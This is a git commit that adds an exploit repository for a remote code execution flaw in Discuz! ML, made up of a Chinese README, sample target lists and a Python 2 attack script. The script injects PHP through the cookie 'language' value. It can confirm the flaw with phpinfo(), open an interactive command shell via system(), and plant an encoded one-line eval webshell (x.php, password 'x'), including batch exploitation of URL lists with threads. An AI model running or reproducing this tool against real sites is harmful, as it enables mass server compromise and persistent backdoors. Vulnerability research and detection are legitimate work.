upload discuz-ml-rce

This commit is contained in:
mr-xn
2019-07-25 10:14:52 +08:00
parent 8af2b43eca
commit 187e909d76
15 changed files with 851 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019 LSA
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+83
View File
@@ -0,0 +1,83 @@
dz-ml-rce.py discuz ml RCE 漏洞检测工具
==
----------------
# 概述
<br/>
漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行,详情参考
[discuz ml RCE漏洞重现及分析](http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/)
<br/>
本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
----------------
# 需求
<br/>
python2.7<br/>
pip -r requirements.txt
<br/><br/>
**使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报!**
----------------
# 快速开始
<br/>
使用帮助<br/>
python dz-ml-rce.py -h<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce06.png)
<br/>
判断模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" <br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce02.png)
<br/>
cmdshell模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce03.png)
<br/>
getshell模式<br/>
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce04.png)
<br/>
批量检测<br/>
python dz-ml-rce.py -f urls.txt<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce01.png)
<br/>
批量getshell<br/>
python dz-ml-rce.py -f urls.txt --getshell<br/>
![](https://github.com/theLSA/discuz-ml-rce/raw/master/demo/dzmlrce09.png)
----------------
# TODO
有空会做各种优化。
----------------
# 反馈
[issus](https://github.com/theLSA/discuz-ml-rce/issues)
<br/>
博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
<br/>
gmaillsasguge196@gmail.com
<br/>
qq2894400469@qq.com
@@ -0,0 +1 @@
http://www.xxx.com/home.php
@@ -0,0 +1 @@
http://www.xxx.cn/forum.php
Binary file not shown.

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 199 KiB

+406
View File
@@ -0,0 +1,406 @@
# coding:utf-8
# Author:LSA
# Description:discuz ml rce(cookie-language)
# Date:20190714
import requests
import optparse
#from requests.packages import urllib3
import sys
import urllib3
import re
from bs4 import BeautifulSoup
import Queue
import threading
import os
import datetime
reload(sys)
sys.setdefaultencoding('utf-8')
lock = threading.Lock()
q0 = Queue.Queue()
threadList = []
global success_count
success_count = 0
total_count = 0
def get_setcookie_language_value(tgtUrl,timeout):
urllib3.disable_warnings()
tgtUrl = tgtUrl
try:
rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
rsp_setcookie = rsp.headers['Set-Cookie']
# print rsp.text
pattern = re.compile(r'(.*?)language=')
language_pattern = pattern.findall(rsp_setcookie)
setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
return str(setcookie_language)
except:
print str(tgtUrl) + ' get setcookie language value error!'
return 'get-setcookie-language-value-error'
def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
tgtUrl = tgtUrl
check_payload = setcookie_language_value + '\'.phpinfo().\';'
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = check_payload;
check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
#print headers['Cookie']
if check_rsp.status_code == 200:
try:
if (check_rsp.text.index('PHP Version')):
print 'target is vulnerable!!!'
else:
soup = BeautifulSoup(check_rsp.text, 'lxml')
if (soup.find('title')):
print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
except ValueError, e:
print 'target seem not vulnerable-' + e.__repr__()
except:
print 'target seem not vulnerable-Unknown error.'
else:
print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
#cmdshell_pattern = re.compile(r'([\s][\S]*?)<!DOCTYPE html')
tgtUrl = tgtUrl
cmd_exp = '\'.system(\'{0}\').\';'
cmd_test = 'echo zxc000'
cmd_exp_test = setcookie_language_value + cmd_exp.format(cmd_test)
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = cmd_exp_test;
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
if cmd_exp_rsp.status_code == 200:
if 'zxc000' in cmd_exp_rsp.text:
print 'Get cmdshell success! type exit to exit.'
while True:
command = raw_input("cmd>>> ")
if command == 'exit':
break
cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
headers['Cookie'] = cmd_exp_send
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
cmdshell_result = cmd_exp_rsp.text[0:1000].split('<!DOCTYPE html')[0].strip()
#cmdshell_result = cmdshell_pattern.findall(cmd_exp_rsp.text[0:100])
print cmdshell_result
else:
print 'Get cmdshell seem failed-can not find zxc000.'
else:
print 'Get cmdshell seem failed-status code: ' + str(cmd_exp_rsp.status_code) + '\n'
def dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout):
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers['Cookie'] = getshell_exp_send
filename = tgtUrl.split('/')[-1]
getshell_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
# print headers['Cookie']
if getshell_rsp.status_code == 200:
getshell_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
#print tgtUrl.split('/')[-1]
#print tgtUrl.split(filename)[0] + 'x.php'
if (getshell_rsp1.status_code) == 200 and (getshell_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
else:
#soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
print 'Getshell failed!-rsp1 status code: ' + str(getshell_rsp1.status_code) + '\nrsp1 text: ' + getshell_rsp1.text[0:100]
else:
print 'Target seem not vulnerable-status code: ' + str(getshell_rsp.status_code) + '\n'
def dz_ml_rce_check_batch(timeout,f4success,f4fail):
global total_count
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
check_payload = str(setcookie_language_value) + '\'.phpinfo().\';'
headers["Cookie"] = check_payload;
try:
check_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if check_batch_rsp.status_code == 200:
try:
if (check_batch_rsp.text.index('PHP Version')):
print tgtUrl + ' is vulnerable!!!'
lock.acquire()
f4success.write(tgtUrl+'\n')
lock.release()
global success_count
success_count = success_count + 1
else:
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed!' + '\n')
lock.release()
except ValueError, e:
#print tgtUrl + ' seem not vulnerable-' + e.__repr__()
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ' + e.__repr__() + '\n')
lock.release()
continue
except:
#print tgtUrl + ' seem not vulnerable-Unknown error.'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error.'+'\n')
lock.release()
continue
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Checked failed! Error: '+ str(check_batch_rsp.status_code) + '\n')
lock.release()
def dz_ml_rce_getshell_batch(timeout,f4success,f4fail):
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
global total_count
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers["Cookie"] = getshell_exp_send
try:
getshell_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if getshell_batch_rsp.status_code == 200:
filename = tgtUrl.split('/')[-1]
getshell_batch_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
if (getshell_batch_rsp1.status_code) == 200 and (getshell_batch_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
lock.acquire()
f4success.write(tgtUrl.split(filename)[0] + 'x.php' + '\n')
lock.release()
global success_count
success_count = success_count + 1
else:
# soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
#print 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\nrsp1 text: ' + getshell_batch_rsp1.text[0:100]
lock.acquire()
f4fail.write(tgtUrl + '-' + 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\n')
lock.release()
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Getshell failed! Error: '+ str(getshell_batch_rsp.status_code) + '\n')
lock.release()
def main():
parser = optparse.OptionParser('python %prog ' + '-h', version= '%prog v1.0')
parser.add_option('-u', dest='tgtUrl', type='string', help='single target url')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
# parser.add_option('--check',dest='check',action='store_true',help='check url')
parser.add_option('--getshell', dest='getshell', action='store_true', help='write a shell to target url-x.php,pwd is x')
parser.add_option('--cmdshell', dest='cmdshell', action='store_true', help='cmd shell mode')
parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
(options, args) = parser.parse_args()
getshell = options.getshell
cmdshell = options.cmdshell
timeout = options.timeout
tgtUrl = options.tgtUrl
global total_count
if tgtUrl and (getshell is None and cmdshell is None):
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
#print setcookie_language_value
dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and cmdshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and getshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout)
if options.tgtUrlsPath and (getshell is None):
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-checked.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-checked.txt', 'w')
urlsFile = open(tgtFilePath)
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_check_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if options.tgtUrlsPath and getshell:
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-getshell.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-getshell.txt', 'w')
urlsFile = open(tgtFilePath)
#global total_count
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_getshell_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if __name__ == '__main__':
main()
+3
View File
@@ -0,0 +1,3 @@
urllib3==1.25.3
requests==2.22.0
beautifulsoup4==4.7.1
+3
View File
@@ -0,0 +1,3 @@
http://xxx.org/discuzx/portal.php
http://www.aaa.org.cn/forum.php
https://www.bbb.com/forum.php